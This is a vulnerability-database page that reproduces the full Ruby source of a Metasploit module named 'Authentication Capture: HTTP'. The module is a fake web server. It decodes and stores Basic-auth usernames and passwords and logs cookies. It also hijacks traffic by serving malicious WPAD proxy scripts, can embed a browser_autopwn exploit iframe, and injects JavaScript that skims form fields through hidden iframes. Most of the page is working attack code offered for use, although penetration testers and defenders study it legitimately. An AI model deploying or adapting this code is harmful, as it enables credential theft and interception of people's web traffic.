Lucene search
K

Authentication Capture: HTTP

🗓️ 26 Jul 2009 05:31:29Reported by ddz <[email protected]>, hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

This module provides a fake HTTP service that is designed to capture authentication credentials. It runs a capture web server to serve an HTML template and capture cookies from a list of URLs

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report


  def initialize
    super(
      'Name'        => 'Authentication Capture: HTTP',
      'Description'    => %q{
        This module provides a fake HTTP service that
      is designed to capture authentication credentials.
      },
      'Author'      => ['ddz', 'hdm'],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Capture', 'Description' => 'Run capture web server' ]
        ],
      'PassiveActions' =>
        [
          'Capture'
        ],
      'DefaultAction'  => 'Capture'
    )

    register_options(
      [
        OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 80 ]),
        OptPath.new('TEMPLATE',   [ false, "The HTML template to serve in responses",
            File.join(Msf::Config.data_directory, "exploits", "capture", "http", "index.html")
          ]
        ),
        OptPath.new('SITELIST',   [ false, "The list of URLs that should be used for cookie capture",
            File.join(Msf::Config.data_directory, "exploits", "capture", "http", "sites.txt")
          ]
        ),
        OptPath.new('FORMSDIR',   [ false, "The directory containing form snippets (example.com.txt)",
            File.join(Msf::Config.data_directory, "exploits", "capture", "http", "forms")
          ]
        ),
        OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]),
        OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]),
        OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]),
      ])
  end

  # Not compatible today
  def support_ipv6?
    false
  end

  def run
    @formsdir = datastore['FORMSDIR']
    @template = datastore['TEMPLATE']
    @sitelist = datastore['SITELIST']
    @myhost   = datastore['SRVHOST']
    @myport   = datastore['SRVPORT']

    @myautopwn_host =  datastore['AUTOPWN_HOST']
    @myautopwn_port =  datastore['AUTOPWN_PORT']
    @myautopwn_uri  =  datastore['AUTOPWN_URI']
    @myautopwn      = false

    if(@myautopwn_host and @myautopwn_port and @myautopwn_uri)
      @myautopwn = true
    end

    exploit()
  end

  def on_client_connect(c)
    c.extend(Rex::Proto::Http::ServerClient)
    c.init_cli(self)
  end

  def on_client_data(cli)
    begin
      data = cli.get_once(-1, 5)
      raise ::Errno::ECONNABORTED if !data or data.length == 0
      case cli.request.parse(data)
        when Rex::Proto::Http::Packet::ParseCode::Completed
          dispatch_request(cli, cli.request)
          cli.reset_cli
        when  Rex::Proto::Http::Packet::ParseCode::Error
          close_client(cli)
      end
    rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
    rescue ::OpenSSL::SSL::SSLError
    rescue ::Exception
      print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
    end

    close_client(cli)
  end

  def close_client(cli)
    cli.close
    # Require to clean up the service properly
    raise ::EOFError
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def dispatch_request(cli, req)

    phost = cli.peerhost

    os_name = nil
    os_type = nil
    os_vers = nil
    os_arch = 'x86'

    ua_name = nil
    ua_vers = nil

    ua = req['User-Agent']

    case (ua)
      when /rv:([\d\.]+)/
        ua_name = 'FF'
        ua_vers = $1
      when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)/
        ua_name = 'IE'
        ua_vers = $1
      when /Version\/(\d+\.\d+\.\d+).*Safari/
        ua_name = 'Safari'
        ua_vers = $1
    end

    case (ua)
      when /Windows/
        os_name = 'Windows'
      when /Linux/
        os_name = 'Linux'
      when /iPhone/
        os_name = 'iPhone'
        os_arch = 'armle'
      when /Mac OS X/
        os_name = 'Mac'
    end

    case (ua)
      when /PPC/
        os_arch = 'ppc'
    end

    os_name ||= 'Unknown'

    mysrc = Rex::Socket.source_address(cli.peerhost)
    hhead = (req['Host'] || @myhost)

    if req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/
      hhead = $1
      req.resource = $2
    end

    if hhead =~ /^(.*):(\d+)\s*$/
      hhead = $1
      nport = $2.to_i
    end

    @myport = nport || 80


    cookies = req['Cookie'] || ''


    if(cookies.length > 0)
      report_note(
        :host => cli.peerhost,
        :type => "http_cookies",
        :data => hhead + " " + cookies,
        :update => :unique_data
      )
    end


    if(req['Authorization'] and req['Authorization'] =~ /basic/i)
      basic,auth = req['Authorization'].split(/\s+/)
      user,pass  = Rex::Text.decode_base64(auth).split(':', 2)

      report_cred(
        ip: cli.peerhost,
        port: @myport,
        service_name: (ssl ? "https" : "http"),
        user: user,
        pass: pass,
        proof: req.resource.to_s
      )

      report_note(
        :host     => cli.peerhost,
        :type     => "http_auth_extra",
        :data     => req.resource.to_s,
        :update => :unique_data
      )
      print_good("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
    end


    if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i)
      prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }"
      res =
        "HTTP/1.1 200 OK\r\n" +
        "Host: #{hhead}\r\n" +
        "Content-Type: application/x-ns-proxy-autoconfig\r\n" +
        "Content-Length: #{prx.length}\r\n" +
        "Connection: Close\r\n\r\n#{prx}"
      print_status("HTTP wpad.dat sent to #{cli.peerhost}")
      cli.put(res)
      return
    end


    if(req.resource =~ /\/+formrec\/(.*)/i)
      data = Rex::Text.uri_decode($1).split("\x00").join(", ")

      report_note(
        :host => cli.peerhost,
        :type => "http_formdata",
        :data => hhead + " " + data,
        :update => :unique_data
      )

      res =
        "HTTP/1.1 200 OK\r\n" +
        "Host: #{hhead}\r\n" +
        "Content-Type: text/html\r\n" +
        "Content-Length: 4\r\n" +
        "Connection: Close\r\n\r\nBYE!"

      print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})")
      cli.put(res)
      return
    end

    report_note(
      :host => cli.peerhost,
      :type => "http_request",
      :data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}",
      :update => :unique_data
    )

    print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}")

    if(req.resource =~ /\/+forms.html$/)
      frm = inject_forms(hhead)
      res =
        "HTTP/1.1 200 OK\r\n" +
        "Host: #{hhead}\r\n" +
        "Content-Type: text/html\r\n" +
        "Content-Length: #{frm.length}\r\n" +
        "Connection: Close\r\n\r\n#{frm}"
      cli.put(res)
      return
    end


    # http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt
    if(req.resource == "/update/PatchSequenceFile.txt")
      print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft")
    end


    # Microsoft 'Network Connectivity Status Indicator' Vista
    if (req['Host'] == 'www.msftncsi.com')
      print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)")
      data = "Microsoft NCSI"
      res  =
        "HTTP/1.1 200 OK\r\n" +
        "Host: www.msftncsi.com\r\n" +
        "Expires: 0\r\n" +
        "Cache-Control: must-revalidate\r\n" +
        "Content-Type: text/html\r\n" +
        "Content-Length: #{data.length}\r\n" +
        "Connection: Close\r\n\r\n#{data}"
      cli.put(res)
      return
    end

=begin
    # Apple 'Network Status' Check (prevents a pop-up safari on the iphone)
    if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html')
      data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a"
      res  =
        "HTTP/1.1 200 OK\r\n" +
        "Host: www.apple.com\r\n" +
        "Expires: 0\r\n" +
        "Cache-Control: must-revalidate\r\n" +
        "Content-Type: text/html\r\n" +
        "Content-Length: #{data.length}\r\n" +
        "Connection: Close\r\n\r\n#{data}"
      cli.put(res)
      return
    end
=end

    # Microsoft ActiveX Download
    if (req['Host'] == 'activex.microsoft.com')
      print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control")
      data = ""
      res  =
        "HTTP/1.1 404 Not Found\r\n" +
        "Host: #{mysrc}\r\n" +
        "Content-Type: application/octet-stream\r\n" +
        "Content-Length: #{data.length}\r\n" +
        "Connection: Close\r\n\r\n#{data}"
      cli.put(res)
      return
    end


    # Sonic.com's Update Service
    if (req['Host'] == 'updateservice.sonic.com')
      print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates")
    end

    # The google maps / stocks view on the iPhone
    if (req['Host'] == 'iphone-wu.apple.com')
      case req.resource
      when '/glm/mmap'
        print_status("HTTP #{cli.peerhost} is using Google Maps on the iPhone")
      when '/dgw'
        print_status("HTTP #{cli.peerhost} is using Stocks/Weather on the iPhone")
      else
        print_status("HTTP #{cli.peerhost} is request #{req.resource} via the iPhone")
      end
    end

    # The itunes store on the iPhone
    if(req['Host'] == 'phobos.apple.com')
      print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone")
      # GET /bag.xml
    end


    # Handle image requests
    ctypes  =
    {
      "jpg"   => "image/jpeg",
      "jpeg"  => "image/jpeg",
      "png"   => "image/png",
      "gif"   => "image/gif",
    }

    req_ext = req.resource.split(".")[-1].downcase

    if(ctypes[req_ext])
      ctype = ctypes['gif']

      data =
        "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" +
        "\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" +
        "\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"

      res =
        "HTTP/1.1 200 OK\r\n" +
        "Host: #{mysrc}\r\n" +
        "Content-Type: #{ctype}\r\n" +
        "Content-Length: #{data.length}\r\n" +
        "Connection: Close\r\n\r\n#{data}"
      cli.put(res)
      return
    end


    buff = ''


    if(@myautopwn)
      buff << "<iframe src='http://#{@myautopwn_host}:#{@myautopwn_port}#{@myautopwn_uri}'></iframe>"
    end

    list = File.readlines(@sitelist)
    list.each do |site|
      next if site =~ /^#/
      site.strip!
      next if site.length == 0
      buff << "<iframe src='http://#{site}:#{@myport}/forms.html'></iframe>"
    end

    data = File.read(@template)
    data.gsub!(/%CONTENT%/, buff)

    res  =
      "HTTP/1.1 200 OK\r\n" +
      "Host: #{mysrc}\r\n" +
      "Expires: 0\r\n" +
      "Cache-Control: must-revalidate\r\n" +
      "Content-Type: text/html\r\n" +
      "Content-Length: #{data.length}\r\n" +
      "Connection: Close\r\n\r\n#{data}"

    cli.put(res)
    return

  end


  def inject_forms(site)

    domain = site.gsub(/(\.\.|\\|\/)/, "")
    domain = "www." + domain if domain !~ /^www/i

    while(domain.length > 0)

      form_file = File.join(@formsdir, domain) + ".txt"
      form_data = ""
      if (File.readable?(form_file))
        form_data = File.read(form_file)
        break
      end

      parts = domain.split(".")
      parts.shift
      domain = parts.join(".")
    end

    %|
<html>
<head>
  <script language="javascript">
    function processForms() {
      var i = 0;
      while(form = document.forms[i]) {

        res = "";
        var x = 0;
        var f = 0;

        while(e = form.elements[x]) {
          if (e.name.length > 0 && e.value.length > 0 && e.value != "on"){
            res += e.name + "=" + e.value + "\x00";
            f=1;
          }
          x++;
        }

        if(f) {
          url = "http://"+document.domain+":#{@myport}/formrec/" + escape(res);
          fra = document.createElement("iframe");
          fra.setAttribute("src", url);
          fra.style.visibility = 'hidden';
          document.body.appendChild(fra);
        }

        i++;
      }
    }
  </script>
</head>
<body onload="processForms()">

#{form_data}

</body>
</html>
|

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation